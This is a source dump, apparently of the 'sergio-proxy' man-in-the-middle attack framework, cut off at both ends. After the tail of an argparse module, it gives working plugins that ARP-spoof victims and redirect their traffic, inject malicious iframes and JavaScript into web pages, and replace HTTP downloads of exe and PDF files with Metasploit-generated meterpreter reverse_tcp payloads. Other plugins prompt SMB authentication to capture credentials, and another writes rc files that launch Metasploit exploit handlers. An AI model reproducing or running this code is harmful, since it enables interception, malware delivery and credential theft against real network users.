open(arg_string[1:]) 1992 | try: 1993 | arg_strings = [] 1994 | for arg_line in args_file.read().splitlines(): 1995 | for arg in self.convert_arg_line_to_args(arg_line): 1996 | arg_strings.append(arg) 1997 | arg_strings = self._read_args_from_files(arg_strings) 1998 | new_arg_strings.extend(arg_strings) 1999 | finally: 2000 | args_file.close() 2001 | except IOError: 2002 | err = _sys.exc_info()[1] 2003 | self.error(str(err)) 2004 | 2005 | # return the modified argument list 2006 | return new_arg_strings 2007 | 2008 | def convert_arg_line_to_args(self, arg_line): 2009 | return [arg_line] 2010 | 2011 | def _match_argument(self, action, arg_strings_pattern): 2012 | # match the pattern for this action to the arg strings 2013 | nargs_pattern = self._get_nargs_pattern(action) 2014 | match = _re.match(nargs_pattern, arg_strings_pattern) 2015 | 2016 | # raise an exception if we weren't able to find a match 2017 | if match is None: 2018 | nargs_errors = { 2019 | None: _('expected one argument'), 2020 | OPTIONAL: _('expected at most one argument'), 2021 | ONE_OR_MORE: _('expected at least one argument'), 2022 | } 2023 | default = _('expected %s argument(s)') % action.nargs 2024 | msg = nargs_errors.get(action.nargs, default) 2025 | raise ArgumentError(action, msg) 2026 | 2027 | # return the number of arguments matched 2028 | return len(match.group(1)) 2029 | 2030 | def _match_arguments_partial(self, actions, arg_strings_pattern): 2031 | # progressively shorten the actions list by slicing off the 2032 | # final actions until we find a match 2033 | result = [] 2034 | for i in range(len(actions), 0, -1): 2035 | actions_slice = actions[:i] 2036 | pattern = ''.join([self._get_nargs_pattern(action) 2037 | for action in actions_slice]) 2038 | match = _re.match(pattern, arg_strings_pattern) 2039 | if match is not None: 2040 | result.extend([len(string) for string in match.groups()]) 2041 | break 2042 | 2043 | # return the list of arg string counts 2044 | return result 2045 | 2046 | def _parse_optional(self, arg_string): 2047 | # if it's an empty string, it was meant to be a positional 2048 | if not arg_string: 2049 | return None 2050 | 2051 | # if it doesn't start with a prefix, it was meant to be positional 2052 | if not arg_string[0] in self.prefix_chars: 2053 | return None 2054 | 2055 | # if the option string is present in the parser, return the action 2056 | if arg_string in self._option_string_actions: 2057 | action = self._option_string_actions[arg_string] 2058 | return action, arg_string, None 2059 | 2060 | # if it's just a single character, it was meant to be positional 2061 | if len(arg_string) == 1: 2062 | return None 2063 | 2064 | # if the option string before the "=" is present, return the action 2065 | if '=' in arg_string: 2066 | option_string, explicit_arg = arg_string.split('=', 1) 2067 | if option_string in self._option_string_actions: 2068 | action = self._option_string_actions[option_string] 2069 | return action, option_string, explicit_arg 2070 | 2071 | # search through all possible prefixes of the option string 2072 | # and all actions in the parser for possible interpretations 2073 | option_tuples = self._get_option_tuples(arg_string) 2074 | 2075 | # if multiple actions match, the option string was ambiguous 2076 | if len(option_tuples) > 1: 2077 | options = ', '.join([option_string 2078 | for action, option_string, explicit_arg in option_tuples]) 2079 | tup = arg_string, options 2080 | self.error(_('ambiguous option: %s could match %s') % tup) 2081 | 2082 | # if exactly one action matched, this segmentation is good, 2083 | # so return the parsed action 2084 | elif len(option_tuples) == 1: 2085 | option_tuple, = option_tuples 2086 | return option_tuple 2087 | 2088 | # if it was not found as an option, but it looks like a negative 2089 | # number, it was meant to be positional 2090 | # unless there are negative-number-like options 2091 | if self._negative_number_matcher.match(arg_string): 2092 | if not self._has_negative_number_optionals: 2093 | return None 2094 | 2095 | # if it contains a space, it was meant to be a positional 2096 | if ' ' in arg_string: 2097 | return None 2098 | 2099 | # it was meant to be an optional but there is no such option 2100 | # in this parser (though it might be a valid option in a subparser) 2101 | return None, arg_string, None 2102 | 2103 | def _get_option_tuples(self, option_string): 2104 | result = [] 2105 | 2106 | # option strings starting with two prefix characters are only 2107 | # split at the '=' 2108 | chars = self.prefix_chars 2109 | if option_string[0] in chars and option_string[1] in chars: 2110 | if '=' in option_string: 2111 | option_prefix, explicit_arg = option_string.split('=', 1) 2112 | else: 2113 | option_prefix = option_string 2114 | explicit_arg = None 2115 | for option_string in self._option_string_actions: 2116 | if option_string.startswith(option_prefix): 2117 | action = self._option_string_actions[option_string] 2118 | tup = action, option_string, explicit_arg 2119 | result.append(tup) 2120 | 2121 | # single character options can be concatenated with their arguments 2122 | # but multiple character options always have to have their argument 2123 | # separate 2124 | elif option_string[0] in chars and option_string[1] not in chars: 2125 | option_prefix = option_string 2126 | explicit_arg = None 2127 | short_option_prefix = option_string[:2] 2128 | short_explicit_arg = option_string[2:] 2129 | 2130 | for option_string in self._option_string_actions: 2131 | if option_string == short_option_prefix: 2132 | action = self._option_string_actions[option_string] 2133 | tup = action, option_string, short_explicit_arg 2134 | result.append(tup) 2135 | elif option_string.startswith(option_prefix): 2136 | action = self._option_string_actions[option_string] 2137 | tup = action, option_string, explicit_arg 2138 | result.append(tup) 2139 | 2140 | # shouldn't ever get here 2141 | else: 2142 | self.error(_('unexpected option string: %s') % option_string) 2143 | 2144 | # return the collected option tuples 2145 | return result 2146 | 2147 | def _get_nargs_pattern(self, action): 2148 | # in all examples below, we have to allow for '--' args 2149 | # which are represented as '-' in the pattern 2150 | nargs = action.nargs 2151 | 2152 | # the default (None) is assumed to be a single argument 2153 | if nargs is None: 2154 | nargs_pattern = '(-*A-*)' 2155 | 2156 | # allow zero or one arguments 2157 | elif nargs == OPTIONAL: 2158 | nargs_pattern = '(-*A?-*)' 2159 | 2160 | # allow zero or more arguments 2161 | elif nargs == ZERO_OR_MORE: 2162 | nargs_pattern = '(-*[A-]*)' 2163 | 2164 | # allow one or more arguments 2165 | elif nargs == ONE_OR_MORE: 2166 | nargs_pattern = '(-*A[A-]*)' 2167 | 2168 | # allow any number of options or arguments 2169 | elif nargs == REMAINDER: 2170 | nargs_pattern = '([-AO]*)' 2171 | 2172 | # allow one argument followed by any number of options or arguments 2173 | elif nargs == PARSER: 2174 | nargs_pattern = '(-*A[-AO]*)' 2175 | 2176 | # all others should be integers 2177 | else: 2178 | nargs_pattern = '(-*%s-*)' % '-*'.join('A' * nargs) 2179 | 2180 | # if this is an optional action, -- is not allowed 2181 | if action.option_strings: 2182 | nargs_pattern = nargs_pattern.replace('-*', '') 2183 | nargs_pattern = nargs_pattern.replace('-', '') 2184 | 2185 | # return the pattern 2186 | return nargs_pattern 2187 | 2188 | # ======================== 2189 | # Value conversion methods 2190 | # ======================== 2191 | def _get_values(self, action, arg_strings): 2192 | # for everything but PARSER args, strip out '--' 2193 | if action.nargs not in [PARSER, REMAINDER]: 2194 | arg_strings = [s for s in arg_strings if s != '--'] 2195 | 2196 | # optional argument produces a default when not present 2197 | if not arg_strings and action.nargs == OPTIONAL: 2198 | if action.option_strings: 2199 | value = action.const 2200 | else: 2201 | value = action.default 2202 | if isinstance(value, basestring): 2203 | value = self._get_value(action, value) 2204 | self._check_value(action, value) 2205 | 2206 | # when nargs='*' on a positional, if there were no command-line 2207 | # args, use the default if it is anything other than None 2208 | elif (not arg_strings and action.nargs == ZERO_OR_MORE and 2209 | not action.option_strings): 2210 | if action.default is not None: 2211 | value = action.default 2212 | else: 2213 | value = arg_strings 2214 | self._check_value(action, value) 2215 | 2216 | # single argument or optional argument produces a single value 2217 | elif len(arg_strings) == 1 and action.nargs in [None, OPTIONAL]: 2218 | arg_string, = arg_strings 2219 | value = self._get_value(action, arg_string) 2220 | self._check_value(action, value) 2221 | 2222 | # REMAINDER arguments convert all values, checking none 2223 | elif action.nargs == REMAINDER: 2224 | value = [self._get_value(action, v) for v in arg_strings] 2225 | 2226 | # PARSER arguments convert all values, but check only the first 2227 | elif action.nargs == PARSER: 2228 | value = [self._get_value(action, v) for v in arg_strings] 2229 | self._check_value(action, value[0]) 2230 | 2231 | # all other types of nargs produce a list 2232 | else: 2233 | value = [self._get_value(action, v) for v in arg_strings] 2234 | for v in value: 2235 | self._check_value(action, v) 2236 | 2237 | # return the converted value 2238 | return value 2239 | 2240 | def _get_value(self, action, arg_string): 2241 | type_func = self._registry_get('type', action.type, action.type) 2242 | if not _callable(type_func): 2243 | msg = _('%r is not callable') 2244 | raise ArgumentError(action, msg % type_func) 2245 | 2246 | # convert the value to the appropriate type 2247 | try: 2248 | result = type_func(arg_string) 2249 | 2250 | # ArgumentTypeErrors indicate errors 2251 | except ArgumentTypeError: 2252 | name = getattr(action.type, '__name__', repr(action.type)) 2253 | msg = str(_sys.exc_info()[1]) 2254 | raise ArgumentError(action, msg) 2255 | 2256 | # TypeErrors or ValueErrors also indicate errors 2257 | except (TypeError, ValueError): 2258 | name = getattr(action.type, '__name__', repr(action.type)) 2259 | msg = _('invalid %s value: %r') 2260 | raise ArgumentError(action, msg % (name, arg_string)) 2261 | 2262 | # return the converted value 2263 | return result 2264 | 2265 | def _check_value(self, action, value): 2266 | # converted value must be one of the choices (if specified) 2267 | if action.choices is not None and value not in action.choices: 2268 | tup = value, ', '.join(map(repr, action.choices)) 2269 | msg = _('invalid choice: %r (choose from %s)') % tup 2270 | raise ArgumentError(action, msg) 2271 | 2272 | # ======================= 2273 | # Help-formatting methods 2274 | # ======================= 2275 | def format_usage(self): 2276 | formatter = self._get_formatter() 2277 | formatter.add_usage(self.usage, self._actions, 2278 | self._mutually_exclusive_groups) 2279 | return formatter.format_help() 2280 | 2281 | def format_help(self): 2282 | formatter = self._get_formatter() 2283 | 2284 | # usage 2285 | formatter.add_usage(self.usage, self._actions, 2286 | self._mutually_exclusive_groups) 2287 | 2288 | # description 2289 | formatter.add_text(self.description) 2290 | 2291 | # positionals, optionals and user-defined groups 2292 | for action_group in self._action_groups: 2293 | formatter.start_section(action_group.title) 2294 | formatter.add_text(action_group.description) 2295 | formatter.add_arguments(action_group._group_actions) 2296 | formatter.end_section() 2297 | 2298 | # epilog 2299 | formatter.add_text(self.epilog) 2300 | 2301 | # determine help from format above 2302 | return formatter.format_help() 2303 | 2304 | def format_version(self): 2305 | import warnings 2306 | warnings.warn( 2307 | 'The format_version method is deprecated -- the "version" ' 2308 | 'argument to ArgumentParser is no longer supported.', 2309 | DeprecationWarning) 2310 | formatter = self._get_formatter() 2311 | formatter.add_text(self.version) 2312 | return formatter.format_help() 2313 | 2314 | def _get_formatter(self): 2315 | return self.formatter_class(prog=self.prog) 2316 | 2317 | # ===================== 2318 | # Help-printing methods 2319 | # ===================== 2320 | def print_usage(self, file=None): 2321 | if file is None: 2322 | file = _sys.stdout 2323 | self._print_message(self.format_usage(), file) 2324 | 2325 | def print_help(self, file=None): 2326 | if file is None: 2327 | file = _sys.stdout 2328 | self._print_message(self.format_help(), file) 2329 | 2330 | def print_version(self, file=None): 2331 | import warnings 2332 | warnings.warn( 2333 | 'The print_version method is deprecated -- the "version" ' 2334 | 'argument to ArgumentParser is no longer supported.', 2335 | DeprecationWarning) 2336 | self._print_message(self.format_version(), file) 2337 | 2338 | def _print_message(self, message, file=None): 2339 | if message: 2340 | if file is None: 2341 | file = _sys.stderr 2342 | file.write(message) 2343 | 2344 | # =============== 2345 | # Exiting methods 2346 | # =============== 2347 | def exit(self, status=0, message=None): 2348 | if message: 2349 | self._print_message(message, _sys.stderr) 2350 | _sys.exit(status) 2351 | 2352 | def error(self, message): 2353 | """error(message: string) 2354 | 2355 | Prints a usage message incorporating the message to stderr and 2356 | exits. 2357 | 2358 | If you override this in a subclass, it should not return -- it 2359 | should either exit or raise an exception. 2360 | """ 2361 | self.print_usage(_sys.stderr) 2362 | self.exit(2, _('%s: error: %s\n') % (self.prog, message)) 2363 | -------------------------------------------------------------------------------- /data/blank.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/supernothing/sergio-proxy/8a91bb42a56841f121c00ad289d05a8d8f3dba57/data/blank.pdf -------------------------------------------------------------------------------- /examples/base-example.args: -------------------------------------------------------------------------------- 1 | --msf-path 2 | /pentest/exploits/framework3/ 3 | --arpspoof 4 | --victim-ip 5 | 192.168.1.101 6 | --router-ip 7 | 192.168.1.1 8 | --msf-user 9 | root 10 | --msf-lhost 11 | 192.168.1.100 12 | -------------------------------------------------------------------------------- /examples/browserpwn-example.args: -------------------------------------------------------------------------------- 1 | --startmsf 2 | --msf-exploit 3 | windows/browser/ms10_090_ie_css_clip 4 | --browserpwn 5 | -------------------------------------------------------------------------------- /examples/filepwn-example.args: -------------------------------------------------------------------------------- 1 | --filepwn 2 | --pdf 3 | --exe 4 | --msf-file-lport 5 | 4445 6 | --launch-msf-listener 7 | -------------------------------------------------------------------------------- /examples/smbauth-example.args: -------------------------------------------------------------------------------- 1 | --smbauth 2 | --start-auth-sniffer 3 | -------------------------------------------------------------------------------- /lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/supernothing/sergio-proxy/8a91bb42a56841f121c00ad289d05a8d8f3dba57/lock.ico -------------------------------------------------------------------------------- /plugins/ArpSpoof.py: -------------------------------------------------------------------------------- 1 | import os,subprocess,logging 2 | from plugins.plugin import Plugin 3 | 4 | fnull = open(os.devnull, 'w') 5 | 6 | class ArpSpoof(Plugin): 7 | name = "ARP Spoof" 8 | optname = "arpspoof" 9 | implements = [] 10 | has_opts = True 11 | log_level = logging.DEBUG 12 | def initialize(self,options): 13 | '''Called if plugin is enabled, passed the options namespace''' 14 | self.options = options 15 | self.vic_ip = options.victim_ip 16 | self.router_ip = options.router_ip 17 | self.procs = [] 18 | 19 | logging.log(self.log_level,"Starting IP forwarding...") 20 | self.ipfwd_status = open("/proc/sys/net/ipv4/ip_forward","r").read(1) 21 | subprocess.call("sudo sysctl -w net.ipv4.ip_forward=1", 22 | shell=True,stdout=fnull,stderr=fnull) 23 | logging.log(self.log_level,"Modifying iptables...") 24 | os.system("iptables-save > /tmp/iptbl.bak") 25 | os.system("sudo iptables -t nat -A PREROUTING -i %s -p tcp --dport "\ 26 | "80 -j REDIRECT --to-port %s"\ 27 | % (options.input_if,options.listen)) 28 | 29 | logging.log(self.log_level,"Starting arp spoofing...") 30 | if options.use_ettercap: 31 | self.run_subprocess("sudo ettercap -i %s -T -o -M arp /%s/ /%s/"\ 32 | % (options.input_if,self.vic_ip,self.router_ip)) 33 | else: 34 | if self.vic_ip: 35 | self.run_subprocess("sudo arpspoof -i %s -t %s %s"\ 36 | % (options.input_if,self.vic_ip,self.router_ip)) 37 | else: 38 | self.run_subprocess("sudo arpspoof -i %s %s"\ 39 | % (options.input_if,self.router_ip)) 40 | 41 | def run_subprocess(self,cmd): 42 | p = subprocess.Popen(cmd,shell=True, 43 | stdout=fnull, stderr=subprocess.STDOUT) 44 | self.procs.append(p) 45 | 46 | def add_options(self,options): 47 | options.add_argument("--victim-ip",type=str,default="", 48 | help="The IP address or range of your victim (default: all)") 49 | options.add_argument("--router-ip",type=str,default="192.168.1.1", 50 | help="The IP address of the local routers (default: 192.168.1.1)") 51 | options.add_argument("--use-ettercap",action="store_true", 52 | help="Use ettercap instead of arpspoof for MITM") 53 | options.add_argument("-i","--input-if",type=str,default="eth0", 54 | help="Specify the interface to use. (default eth0)") 55 | def finish(self): 56 | logging.log(self.log_level,"Resetting network and killing MITM...") 57 | subprocess.call("sudo sysctl -w net.ipv4.ip_forward=%s"\ 58 | %self.ipfwd_status,shell=True,stdout=fnull,stderr=fnull) 59 | os.system("sudo iptables --flush") 60 | os.system("sudo iptables-restore < /tmp/iptbl.bak") 61 | for p in self.procs: 62 | #send ctrl-c so they can clean up 63 | os.kill(p.pid,2) 64 | -------------------------------------------------------------------------------- /plugins/BrowserPwn.py: -------------------------------------------------------------------------------- 1 | import os,subprocess,logging,time 2 | from plugins.Inject import Inject 3 | from plugins.plugin import Plugin 4 | 5 | class BrowserPwn(Inject,Plugin): 6 | name = "BrowserPwn" 7 | optname = "browserpwn" 8 | desc = ''' 9 | Easily attack browsers using MSF and/or BeEF. 10 | Inherits from Inject. Launches MSF browser autopwn if URI not provided. 11 | ''' 12 | def initialize(self,options): 13 | '''Called if plugin is enabled, passed the options namespace''' 14 | Inject.initialize(self,options) 15 | self.html_src = options.msf_uri 16 | self.js_src = options.js_url 17 | self.rate_limit = 2 18 | if self.html_src == self.js_src == "" and not options.startmsf: 19 | if options.msf_uripath and options.msf_lhost: 20 | self.html_src = "http://%s:8080%s" %\ 21 | (options.msf_lhost,options.msf_uripath) 22 | else: 23 | from plugins.StartMSF import StartMSF 24 | StartMSF.initialize(options) 25 | self.html_src = "http://%s:8080/" % options.msf_lhost 26 | if options.startmsf: 27 | if not options.msf_lhost: 28 | options.msf_lhost = raw_input( 29 | "Local IP not provided. Please enter now: ") 30 | self.html_src = "http://%s:8080%s" %\ 31 | (options.msf_lhost,options.msf_uripath) 32 | print self.html_src 33 | def add_options(self,options): 34 | options.add_argument("--msf-uri",type=str,default="", 35 | help="The attack URI given to you by MSF") 36 | options.add_argument("--beef-uri",type=str,default="", 37 | help="The attack URI given to you by BeEF") 38 | -------------------------------------------------------------------------------- /plugins/CacheKill.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | 3 | class CacheKill(Plugin): 4 | name = "CacheKill Plugin" 5 | optname = "cachekill" 6 | desc = "Kills page caching by modifying headers." 7 | implements = ["handleHeader","connectionMade"] 8 | has_opts = True 9 | bad_headers = ['if-none-match','if-modified-since'] 10 | def add_options(self,options): 11 | options.add_argument("--preserve-cookies",action="store_true", 12 | help="Preserve cookies (will allow caching in some situations).") 13 | def handleHeader(self,request,key,value): 14 | '''Handles all response headers''' 15 | request.client.headers['Expires'] = "0" 16 | request.client.headers['Cache-Control'] = "no-cache" 17 | def connectionMade(self,request): 18 | '''Handles outgoing request''' 19 | request.headers['Pragma'] = 'no-cache' 20 | for h in self.bad_headers: 21 | if h in request.headers: 22 | request.headers[h] = "" 23 | -------------------------------------------------------------------------------- /plugins/FilePwn.py: -------------------------------------------------------------------------------- 1 | import os,subprocess,logging,time 2 | from plugins.plugin import Plugin 3 | exe_mimetypes = ['application/octet-stream', 'application/x-msdownload', 'application/exe', 'application/x-exe', 'application/dos-exe', 'vms/exe', 'application/x-winexe', 'application/msdos-windows', 'application/x-msdos-program'] 4 | 5 | class FilePwn(Plugin): 6 | name = "FilePwn" 7 | optname = "filepwn" 8 | implements = ["handleResponse"] 9 | has_opts = True 10 | log_level = logging.DEBUG 11 | desc = "Replace files being downloaded via HTTP with malicious versions. Currently only supports Windows MSF options." 12 | def initialize(self,options): 13 | '''Called if plugin is enabled, passed the options namespace''' 14 | self.options = options 15 | self.msf_file_payload_opts = "LHOST=%s LPORT=%s" % \ 16 | (options.msf_lhost,options.msf_file_lport) 17 | self.payloads = {} 18 | self._make_files() 19 | if options.launch_msf_listener and options.msf_rc == "/tmp/tmp.rc": 20 | self._start_msf() 21 | def _start_msf(self): 22 | f = open("/tmp/tmp.rc","a") 23 | f.write(''' 24 | use multi/handler 25 | set PAYLOAD %s 26 | set LHOST %s 27 | set LPORT %s 28 | set ExistOnSession false 29 | exploit -j 30 | ''' % (self.options.msf_file_payload,self.options.msf_lhost, 31 | self.options.msf_file_lport)) 32 | f.close() 33 | 34 | def _make_files(self): 35 | self.exe_made = False 36 | if self.options.exe: 37 | self._make_exe() 38 | if self.options.pdf: 39 | self._make_pdf() 40 | 41 | def _make_exe(self): 42 | if self.options.exe_file == None: 43 | logging.info("Generating our executable...") 44 | msfp = os.path.join(self.options.msf_path,"msfpayload") + " %s %s" 45 | msfe = os.path.join(self.options.msf_path,"msfencode") + " %s" 46 | payload = msfp%(self.options.msf_file_payload,self.msf_file_payload_opts) 47 | encode = msfe % "-t exe -o /tmp/tmp.exe -e x86/shikata_ga_nai -c 8" 48 | #print payload+" R |"+encode 49 | os.system(payload+" R |"+encode) 50 | self.exe_made = True 51 | self.exe = "/tmp/tmp.exe" 52 | else: 53 | self.exe = self.options.exe_file 54 | self.exe_payload = open(self.exe,"rb").read() 55 | if self.options.exe: 56 | for m in exe_mimetypes: 57 | self.payloads[m] = self.exe_payload 58 | 59 | def _make_pdf(self): 60 | logging.info("Generating our PDF...") 61 | if self.options.pdf_exploit.find("embedded_exe") != -1: 62 | if not self.exe_made: 63 | self._make_exe() 64 | if self.msf_file_payload_opts.find("EXEFILE") == -1: 65 | self.msf_file_payload_opts += " EXEFILE=" + self.exe 66 | if self.msf_file_payload_opts.find("INFILENAME") == -1: 67 | self.msf_file_payload_opts += " INFILENAME=" + \ 68 | os.path.join(self.options.full_path,"data/blank.pdf") 69 | self.msf_file_payload_opts += " FILENAME=/tmp/tmp.pdf" 70 | msfc = os.path.join(self.options.msf_path,"msfcli") + " %s %s E" 71 | os.system(msfc % (self.options.pdf_exploit,self.msf_file_payload_opts)) 72 | self.payloads['application/pdf'] = open("/tmp/tmp.pdf","rb").read() 73 | 74 | def handleResponse(self,request,data): 75 | #print "http://" + request.client.getRequestHostname() + request.uri 76 | ch = request.client.headers['Content-Type'] 77 | #print ch 78 | if ch in self.payloads: 79 | print "Replaced file of mimtype %s with malicious version" % ch 80 | data = self.payloads[ch] 81 | return {'request':request,'data':data} 82 | else: 83 | return 84 | 85 | def add_options(self,options): 86 | options.add_argument("--msf-file-payload",type=str,default="windows/meterpreter/reverse_tcp", 87 | help="Payload you want to use (default: windows/meterpreter/reverse_tcp)") 88 | options.add_argument("--msf-file-lport",type=str,default="4445", 89 | help="Options for payload (default: \"4445\")") 90 | options.add_argument("--pdf",action="store_true", 91 | help="Intercept PDFs and replace with malicious.") 92 | options.add_argument("--exe",action="store_true", 93 | help="Intercept exe files and replace with malicious.") 94 | options.add_argument("--exe-file",type=str, 95 | help="Specify your own exe payload rather than generating with msf") 96 | options.add_argument("--launch-msf-listener",action="store_true", 97 | help="Launch a listener in a seperate shell.") 98 | #options.add_argument("--backdoor",action="store_true", 99 | # help="Backdoor files rather than replace (SLOW)") 100 | options.add_argument("--pdf-exploit",type=str, 101 | default="exploit/windows/fileformat/adobe_pdf_embedded_exe", 102 | help="Exploit to use in PDF (default: exploit/windows/fileformat/adobe_pdf_embedded_exe)") 103 | -------------------------------------------------------------------------------- /plugins/Inject.py: -------------------------------------------------------------------------------- 1 | import os,subprocess,logging,time,re 2 | import argparse 3 | from plugins.plugin import Plugin 4 | from plugins.CacheKill import CacheKill 5 | 6 | class Inject(CacheKill,Plugin): 7 | name = "Inject" 8 | optname = "inject" 9 | implements = ["handleResponse","handleHeader","connectionMade"] 10 | has_opts = True 11 | log_level = logging.DEBUG 12 | desc = "Inject arbitrary content into encountered HTML files." 13 | def initialize(self,options): 14 | '''Called if plugin is enabled, passed the options namespace''' 15 | self.options = options 16 | self.html_src = options.html_url 17 | self.js_src = options.js_url 18 | self.rate_limit = options.rate_limit 19 | self.count_limit = options.count_limit 20 | self.per_domain = options.per_domain 21 | self.match_str = options.match_str 22 | self.html_payload = options.html_payload 23 | 24 | if self.options.preserve_cache: 25 | self.implements.remove("handleHeader") 26 | self.implements.remove("connectionMade") 27 | 28 | if options.html_file != None: 29 | self.html_payload += options.html_file.read() 30 | 31 | self.ctable = {} 32 | self.dtable = {} 33 | self.count = 0 34 | self.mime = "text/html" 35 | def handleResponse(self,request,data): 36 | #We throttle to only inject once every two seconds per client 37 | #If you have MSF on another host, you may need to check prior to injection 38 | #print "http://" + request.client.getRequestHostname() + request.uri 39 | ip,hn,mime = self._get_req_info(request) 40 | if self._should_inject(ip,hn,mime) and \ 41 | (not self.js_src==self.html_src==None or not self.html_payload==""): 42 | 43 | data = self._insert_html(data,post=[(self.match_str,self._get_payload())]) 44 | self.ctable[ip] = time.time() 45 | self.dtable[ip+hn] = True 46 | self.count+=1 47 | logging.info("Injected malicious html.") 48 | return {'request':request,'data':data} 49 | else: 50 | return 51 | def _get_payload(self): 52 | return self._get_js()+self._get_iframe()+self.html_payload 53 | def add_options(self,options): 54 | options.add_argument("--js-url",type=str, 55 | help="Location of your (presumably) malicious Javascript.") 56 | options.add_argument("--html-url",type=str, 57 | help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") 58 | options.add_argument("--html-payload",type=str,default="", 59 | help="String you would like to inject.") 60 | options.add_argument("--html-file",type=argparse.FileType('r'),default=None, 61 | help="File containing code you would like to inject.") 62 | options.add_argument("--match-str",type=str,default="", 63 | help="String you would like to match and place your payload before. ( by default)") 64 | options.add_argument("--per-domain",action="store_true", 65 | help="Inject once per domain per client.") 66 | options.add_argument("--rate-limit",type=float, 67 | help="Inject once every RATE_LIMIT seconds per client.") 68 | options.add_argument("--count-limit",type=int, 69 | help="Inject only COUNT_LIMIT times per client.") 70 | options.add_argument("--preserve-cache",action="store_true", 71 | help="Don't kill the server/client caching.") 72 | 73 | def _should_inject(self,ip,hn,mime): 74 | if self.count_limit==self.rate_limit==None and not self.per_domain: 75 | return True 76 | if self.count_limit != None and self.count > self.count_limit: 77 | #print "1" 78 | return False 79 | if self.rate_limit != None: 80 | if ip in self.ctable and time.time()-self.ctable[ip]'%(self.html_src) 96 | return '' 97 | 98 | def _get_js(self): 99 | if self.js_src != None: 100 | return ''%(self.js_src) 101 | return '' 102 | 103 | def _insert_html(self,data,pre=[],post=[],re_flags=re.I): 104 | ''' 105 | To use this function, simply pass a list of tuples of the form: 106 | 107 | (string/regex_to_match,html_to_inject) 108 | 109 | NOTE: Matching will be case insensitive unless differnt flags are given 110 | 111 | The pre array will have the match in front of your injected code, the post 112 | will put the match behind it. 113 | ''' 114 | pre_regexes = [re.compile(r"(?P"+i[0]+")",re_flags) for i in pre] 115 | post_regexes = [re.compile(r"(?P"+i[0]+")",re_flags) for i in post] 116 | 117 | for i,r in enumerate(pre_regexes): 118 | data=re.sub(r,"\g"+pre[i][1],data) 119 | for i,r in enumerate(post_regexes): 120 | data=re.sub(r,post[i][1]+"\g",data) 121 | return data 122 | -------------------------------------------------------------------------------- /plugins/SMBAuth.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | from plugins.Inject import Inject 3 | 4 | class SMBAuth(Inject,Plugin): 5 | name = "SMBAuth" 6 | optname = "smbauth" 7 | desc = "Evoke SMB challenge-response auth attempt.\nInherits from Inject." 8 | def initialize(self,options): 9 | Inject.initialize(self,options) 10 | self.target_ip = options.msf_lhost 11 | self.html_payload = self._get_data() 12 | if options.start_auth_sniffer and options.msf_rc == "/tmp/tmp.rc": 13 | options.msf_user = "root" 14 | f = open(options.msf_rc,"a") 15 | f.write("use server/capture/smb\n") 16 | f.write("exploit -j\n") 17 | f.close() 18 | def add_options(self,options): 19 | options.add_argument("--start-auth-sniffer",action="store_true", 20 | help="Starts MSF and sets up the credentials sniffer.") 21 | def _get_data(self): 22 | return ''\ 23 | ''\ 24 | ''\ 25 | % tuple([self.target_ip]*3) 26 | -------------------------------------------------------------------------------- /plugins/StartMSF.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | from subprocess import Popen 3 | from tempfile import NamedTemporaryFile 4 | import os 5 | from pipes import quote 6 | #Uncomment to use 7 | def which(program): 8 | ''' 9 | Source: http://stackoverflow.com/questions/377017/test-if-executable-exists-in-python 10 | ''' 11 | def is_exe(fpath): 12 | return os.path.exists(fpath) and os.access(fpath, os.X_OK) 13 | 14 | fpath, fname = os.path.split(program) 15 | if fpath: 16 | if is_exe(program): 17 | return program 18 | else: 19 | for path in os.environ["PATH"].split(os.pathsep): 20 | exe_file = os.path.join(path, program) 21 | if is_exe(exe_file): 22 | return exe_file 23 | return None 24 | 25 | def launch_msf(msfp,rcpath,user): 26 | msfc = os.path.join(msfp,"msfconsole") 27 | if which("gnome-terminal"): 28 | cmd = "gnome-terminal" 29 | elif which("konsole"): 30 | cmd = "konsole" 31 | else: 32 | #Will add Mac/Windows support if people care 33 | logging.error("Could not find console to run MSF in.") 34 | return 35 | pid = Popen(["sudo","-u",user, 36 | cmd,"-e","%s -r %s" % (msfc,rcpath)]) 37 | 38 | class StartMSF(Plugin): 39 | name = "StartMSF" 40 | optname = "startmsf" 41 | has_opts = True 42 | implements = [] 43 | def initialize(self,options): 44 | if options.msf_lhost == "" and options.msf_payload.find("reverse") != -1: 45 | options.msf_lhost = raw_input("Local IP not provided. Please enter now: ") 46 | if options.msf_rc == "/tmp/tmp.rc": 47 | path = self._create_rc(options) 48 | 49 | def _create_rc(self,options): 50 | f = open(options.msf_rc,"a") 51 | f.write( 52 | ''' 53 | use %s 54 | set PAYLOAD %s 55 | set LHOST %s 56 | set LPORT %s 57 | set URIPATH %s 58 | set ExitOnSession false 59 | 60 | exploit -j 61 | ''' % (options.msf_exploit,options.msf_payload,options.msf_lhost, 62 | options.msf_lport,options.msf_uripath) 63 | ) 64 | f.close() 65 | return f.name 66 | def add_options(self,options): 67 | options.add_argument("--msf-exploit",type=str, 68 | default="server/browser_autopwn", 69 | help="The MSF exploit you wish to launch") 70 | options.add_argument("--msf-payload",type=str, 71 | default="windows/meterpreter/reverse_tcp", 72 | help="The payload you want to be executed") 73 | options.add_argument("--msf-lport",type=str,default="4444", 74 | help="The port you wish to connect back to. (default: 4445)") 75 | options.add_argument("--msf-uripath",type=str,default="/", 76 | help="Specify what URI path the exploit should use.") 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /plugins/Upsidedownternet.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from cStringIO import StringIO 3 | 4 | from plugins.plugin import Plugin 5 | 6 | class Upsidedownternet(Plugin): 7 | name = "Upsidedownternet" 8 | optname = "upsidedownternet" 9 | has_opts = False 10 | implements = ["handleResponse","handleHeader"] 11 | def initialize(self,options): 12 | from PIL import Image,ImageFile 13 | globals()['Image'] = Image 14 | globals()['ImageFile'] = ImageFile 15 | self.options = options 16 | def handleHeader(self,request,key,value): 17 | '''Kill the image skipping that's in place for speed reasons''' 18 | if request.isImageRequest: 19 | request.isImageRequest = False 20 | request.isImage = True 21 | request.imageType = value.split("/")[1].upper() 22 | def handleResponse(self,request,data): 23 | try: 24 | isImage = getattr(request,'isImage') 25 | except AttributeError: 26 | isImage = False 27 | 28 | if isImage: 29 | try: 30 | image_type=request.imageType 31 | #For some reason more images get parsed using the 